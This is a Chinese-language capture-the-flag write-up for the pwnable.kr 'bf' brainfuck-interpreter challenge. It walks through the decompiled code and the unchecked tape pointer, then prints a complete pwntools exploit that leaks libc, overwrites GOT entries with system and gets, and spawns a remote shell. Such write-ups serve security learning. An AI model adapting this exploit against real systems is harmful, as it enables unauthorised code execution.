老样子,先审题
给了两个文件,先下下来
bf拖ida里康康,使用F5大法
int __cdecl main(int argc, const char **argv, const char **envp)
{
size_t i; // [esp+28h] [ebp-40Ch]char s[1024]; // [esp+2Ch] [ebp-408h]unsigned int v6; // [esp+42Ch] [ebp-8h]v6 = __readgsdword(0x14u);setvbuf(stdout, 0, 2, 0);setvbuf(stdin, 0, 1, 0);p = (int)&tape;puts("welcome to brainfuck testing system!!");puts("type some brainfuck instructions except [ ]");memset(s, 0, 0x400u);fgets(s, 1024, stdin);for ( i = 0; i < strlen(s); ++i )do_brainfuck(s[i]);return 0;
}
大概看一下main
逻辑主要是赋值了一个全局变量p
,输出一下欢迎提示语,然后清空了s
的栈空间,从标准化输入读取数据到s中。然后依次取出s
中的数作为参数,传入到do_brainfuck
int __cdecl do_brainfuck(char a1)
{
int result; // eax_BYTE *v2; // ebxresult = a1;switch ( a1 ){
case 0x2B:result = p;++*(_BYTE *)p;break;case 0x2C:v2 = (_BYTE *)p;result = getchar();*v2 = result;break;case 0x2D:result = p;--*(_BYTE *)p;break;case 0x2E:result = putchar(*(char *)p);break;case 0x3C:result = p-- - 1;break;case 0x3E:result = p++ + 1;break;case 0x5B:result = puts("[ and ] not supported.");break;default:return result;}return result;
}
根据题目提示看样子是个简陋版的brainfuck解释器,翻译成明文就是:<
p值减1, >
p值加1, .
输出当前字节, ,
写当前字节,+
p值指向的值加1 ,-
p值指向的值减1
查看一下程序保护
p = (int)&tape;
这里使用全局变量来模拟指针位置,不过没有检测指针越界。所以可以看到指针一开始位于bss段
指针*p指向的tape距离.got.plt最高位的函数距离是0×70,是小于0×400的。
而我们可以看到上面查看的保护状态有RELRO: Partial RELRO
也就是没有开启got表只读,所以初步利用思路就是覆写got表获取shell。
来根据已知道的信息来分析一下
我们最终的目的是get shell,还差一个system(‘//bin/sh’)
,题目提供了lib
库,system
函数在libc中,关于libc
中的地址一定有随机化,所以要考虑泄露这部分地址方法。泄露方法可以用p
指针移动到got表中,读出got地址,这个地址在调用一次xx@plt
后就指向了libc中地址
再考虑再考虑‘/bin/sh’
怎么传入
memset
、fgets
被前后调用,这两个函数可以改为
1:gets
;
2:system
这样的操作,由于这步骤是需要第二次运行main函数的,所以可以考虑用got表中putchar
函数的地址覆盖为main
函数地址。泄露,也是用putchar函数。先调用putchar
函数再泄露,然后再覆写。
这里有大佬写的exp,不懂的可以多看几遍,注释写得非常详细,我就不画蛇添足了
#coding:utf-8
from pwn import *
context.log_level = 'debug'
elf = ELF("./bf")
libc = ELF("./bf_libc.so")
# 处理地址部分
tape_addr = 0x0804A0A0 # p指向的tape的地址,也即是<、>影响的值
putchar_addr = 0x0804A030 # putchar地址,可在IDA或者objdump查到
putchar_libc_offset = libc.symbols['putchar'] # putchar在libc中的偏移地址
memset_addr = 0x0804A02C # memset地址,可在IDA或者objdump查到
memset_libc_offset = libc.symbols['memset'] # memset在libc中的偏移地址
fgets_addr = 0x0804A010 # fgets地址,可在IDA或者objdump查到
fgets_libc_offset = libc.symbols['fgets']# fgets在libc中的偏移地址
main_addr = 0x08048671 # main函数起始地址,可在IDA查到
raw_libc_base_addr = '' # 用于存放泄露的putchar真实地址
# 构造payload部分
payload = '' # 初始化payload
payload += '<' * (tape_addr - putchar_addr) # 调整p指向到putchar(0x0804A030)
payload += '.' # 调用一次putchar函数,让plt中有putchar真实地址的记录
payload += '.>' * 0x4 # 读取putchar真实地址
payload += '<' * 0x4 + ',>' * 0x4 # 返回到putchar函数的顶部(0x0804A030),并覆写putchar为main函数的地址(用于覆写完成后,回跳到程序中运行函数getshell)
payload += '<' * (putchar_addr - memset_addr + 4) # 调整p指向到memset(0x0804A02C)
payload += ',>' * 0x4 # 覆写memset为system函数地址
payload += '<' * (memset_addr - fgets_addr + 4) # 调整p指向到fgets(0x0804A010)
payload += ',>' * 0x4 # 覆写fgets为gets函数地址
payload += '.' # 调用putchar回跳到main中
#log.info("start send")
p = remote('pwnable.kr',9001)
#p = process("./bf")
p.recvuntil('welcome to brainfuck testing system!!\ntype some brainfuck instructions except [ ]\n')
p.sendline(payload)
#log.info("send end")
#gdb.attach(p,b*0x08048671)
# 计算libc基地址&各函数真实地址
p.recv(1) # 接收第一次调用putchar时,产生的1byte无用信息(\00)
raw_libc_base_addr = u32(p.recv(4)) # 接收泄露的putchar真实地址
libc_base_addr = raw_libc_base_addr - putchar_libc_offset # 泄露真实地址-函数在libc中偏移地址=libc基地址
gets_addr = libc_base_addr + libc.symbols['gets'] # 计算gets真实地址
system_addr = libc_base_addr + libc.symbols['system'] # 计算system真实地址
# 打印计算得到的各函数真实函数地址
log.success("putchar_addr = " + hex(raw_libc_base_addr))
log.success("libc_base_addr = " + hex(libc_base_addr))
log.success("gets_addr = " + hex(gets_addr))
log.success("system_addr = " + hex(system_addr))
# 输入各函数的地址
p.send(p32(main_addr))
p.send(p32(gets_addr))
p.send(p32(system_addr))
p.sendline('//bin/sh\0') # system参数,调用sh。\0为结束输入符
p.interactive()
出自:
https://www.freebuf.com/vuls/216749.html
完成:)